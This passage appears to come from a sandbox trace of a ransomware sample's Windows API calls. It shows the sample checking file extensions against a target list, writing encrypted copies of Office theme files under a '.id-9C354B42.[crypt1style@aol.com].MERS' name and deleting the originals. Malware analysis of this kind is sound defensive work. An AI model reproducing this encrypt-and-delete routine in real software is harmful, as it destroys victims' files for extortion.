lpString2="W.GIF") returned -1 [0046.108] lstrlenW (lpString=".ppt") returned 4 [0046.108] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString=".zip") returned 4 [0046.108] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.108] lstrlenW (lpString=".rar") returned 4 [0046.108] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.108] lstrlenW (lpString=".bz2") returned 4 [0046.108] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.108] lstrlenW (lpString=".7z") returned 3 [0046.108] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString=".dbf") returned 4 [0046.108] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString=".1cd") returned 4 [0046.108] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString=".jpg") returned 4 [0046.108] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.108] lstrlenW (lpString=".doc") returned 4 [0046.108] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.108] lstrlenW (lpString=".docx") returned 5 [0046.109] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.109] lstrlenW (lpString=".pdf") returned 4 [0046.109] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.109] lstrlenW (lpString=".xls") returned 4 [0046.109] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.109] lstrlenW (lpString=".xlsx") returned 5 [0046.109] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.109] lstrlenW (lpString=".ppt") returned 4 [0046.109] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.109] lstrlenW (lpString=".zip") returned 4 [0046.109] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.109] lstrlenW (lpString=".rar") returned 4 [0046.109] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.109] lstrlenW (lpString=".bz2") returned 4 [0046.109] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.109] lstrlenW (lpString=".7z") returned 3 [0046.109] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.109] lstrlenW (lpString=".dbf") returned 4 [0046.109] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.109] lstrlenW (lpString=".1cd") returned 4 [0046.109] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0046.109] lstrlenW (lpString=".jpg") returned 4 [0046.109] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.109] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0046.109] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0046.447] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=34916) returned 1 [0046.447] CloseHandle (hObject=0x1c4) returned 1 [0046.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0046.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0046.447] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.447] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.448] GetLastError () returned 0x0 [0046.448] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x8864, lpOverlapped=0x0) returned 1 [0046.489] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0046.491] ReadFile (in: hFile=0x1c4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.491] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.491] SetEndOfFile (hFile=0x1a8) returned 1 [0046.492] CloseHandle (hObject=0x1a8) returned 1 [0046.492] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.492] SetEndOfFile (hFile=0x1c4) returned 1 [0046.493] CloseHandle (hObject=0x1c4) returned 1 [0046.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0046.493] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.493] lstrlenW (lpString=".doc") returned 4 [0046.493] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.493] lstrlenW (lpString=".docx") returned 5 [0046.493] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.493] lstrlenW (lpString=".pdf") returned 4 [0046.493] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.493] lstrlenW (lpString=".xls") returned 4 [0046.493] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.493] lstrlenW (lpString=".xlsx") returned 5 [0046.493] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.493] lstrlenW (lpString=".ppt") returned 4 [0046.493] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.493] lstrlenW (lpString=".zip") returned 4 [0046.493] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.493] lstrlenW (lpString=".rar") returned 4 [0046.493] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.494] lstrlenW (lpString=".bz2") returned 4 [0046.494] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.494] lstrlenW (lpString=".7z") returned 3 [0046.494] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.495] lstrlenW (lpString=".dbf") returned 4 [0046.495] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.495] lstrlenW (lpString=".1cd") returned 4 [0046.495] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.495] lstrlenW (lpString=".jpg") returned 4 [0046.495] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.495] lstrlenW (lpString=".doc") returned 4 [0046.495] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.495] lstrlenW (lpString=".docx") returned 5 [0046.495] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.495] lstrlenW (lpString=".pdf") returned 4 [0046.495] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.495] lstrlenW (lpString=".xls") returned 4 [0046.495] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.495] lstrlenW (lpString=".xlsx") returned 5 [0046.495] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.495] lstrlenW (lpString=".ppt") returned 4 [0046.495] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.495] lstrlenW (lpString=".zip") returned 4 [0046.496] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.496] lstrlenW (lpString=".rar") returned 4 [0046.496] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.496] lstrlenW (lpString=".bz2") returned 4 [0046.496] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.496] lstrlenW (lpString=".7z") returned 3 [0046.496] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.496] lstrlenW (lpString=".dbf") returned 4 [0046.496] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.496] lstrlenW (lpString=".1cd") returned 4 [0046.496] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0046.496] lstrlenW (lpString=".jpg") returned 4 [0046.496] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.496] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0046.496] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.647] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2181) returned 1 [0046.647] CloseHandle (hObject=0x1a8) returned 1 [0046.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0046.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.647] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.647] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0047.242] GetLastError () returned 0x0 [0047.242] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x885, lpOverlapped=0x0) returned 1 [0047.273] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x890, lpOverlapped=0x0) returned 1 [0047.274] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.274] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.274] SetEndOfFile (hFile=0x1d4) returned 1 [0047.470] CloseHandle (hObject=0x1d4) returned 1 [0047.470] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.470] SetEndOfFile (hFile=0x1a8) returned 1 [0047.548] CloseHandle (hObject=0x1a8) returned 1 [0047.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.548] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.557] lstrlenW (lpString=".doc") returned 4 [0047.557] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.557] lstrlenW (lpString=".docx") returned 5 [0047.557] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.557] lstrlenW (lpString=".pdf") returned 4 [0047.557] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.557] lstrlenW (lpString=".xls") returned 4 [0047.557] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.557] lstrlenW (lpString=".xlsx") returned 5 [0047.557] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.557] lstrlenW (lpString=".ppt") returned 4 [0047.557] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.557] lstrlenW (lpString=".zip") returned 4 [0047.557] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.557] lstrlenW (lpString=".rar") returned 4 [0047.557] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.558] lstrlenW (lpString=".bz2") returned 4 [0047.558] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.558] lstrlenW (lpString=".7z") returned 3 [0047.558] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.558] lstrlenW (lpString=".dbf") returned 4 [0047.558] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.558] lstrlenW (lpString=".1cd") returned 4 [0047.558] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.558] lstrlenW (lpString=".jpg") returned 4 [0047.558] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.558] lstrlenW (lpString=".doc") returned 4 [0047.558] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.558] lstrlenW (lpString=".docx") returned 5 [0047.558] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.558] lstrlenW (lpString=".pdf") returned 4 [0047.558] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.558] lstrlenW (lpString=".xls") returned 4 [0047.558] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.558] lstrlenW (lpString=".xlsx") returned 5 [0047.558] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.558] lstrlenW (lpString=".ppt") returned 4 [0047.558] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.558] lstrlenW (lpString=".zip") returned 4 [0047.558] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.558] lstrlenW (lpString=".rar") returned 4 [0047.558] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.558] lstrlenW (lpString=".bz2") returned 4 [0047.558] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.558] lstrlenW (lpString=".7z") returned 3 [0047.558] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.559] lstrlenW (lpString=".dbf") returned 4 [0047.559] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.559] lstrlenW (lpString=".1cd") returned 4 [0047.559] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.559] lstrlenW (lpString=".jpg") returned 4 [0047.559] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.559] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.559] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.560] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3479) returned 1 [0047.560] CloseHandle (hObject=0x1a8) returned 1 [0047.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0047.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.561] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.561] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.583] GetLastError () returned 0x0 [0047.583] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0xd97, lpOverlapped=0x0) returned 1 [0047.683] WriteFile (in: hFile=0x218, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0047.684] ReadFile (in: hFile=0x1a8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.684] WriteFile (in: hFile=0x218, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.684] SetEndOfFile (hFile=0x218) returned 1 [0047.684] CloseHandle (hObject=0x218) returned 1 [0047.684] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.684] SetEndOfFile (hFile=0x1a8) returned 1 [0047.685] CloseHandle (hObject=0x1a8) returned 1 [0047.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0047.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0047.685] lstrlenW (lpString=".doc") returned 4 [0047.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.685] lstrlenW (lpString=".docx") returned 5 [0047.685] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.685] lstrlenW (lpString=".pdf") returned 4 [0047.686] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.686] lstrlenW (lpString=".xls") returned 4 [0047.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 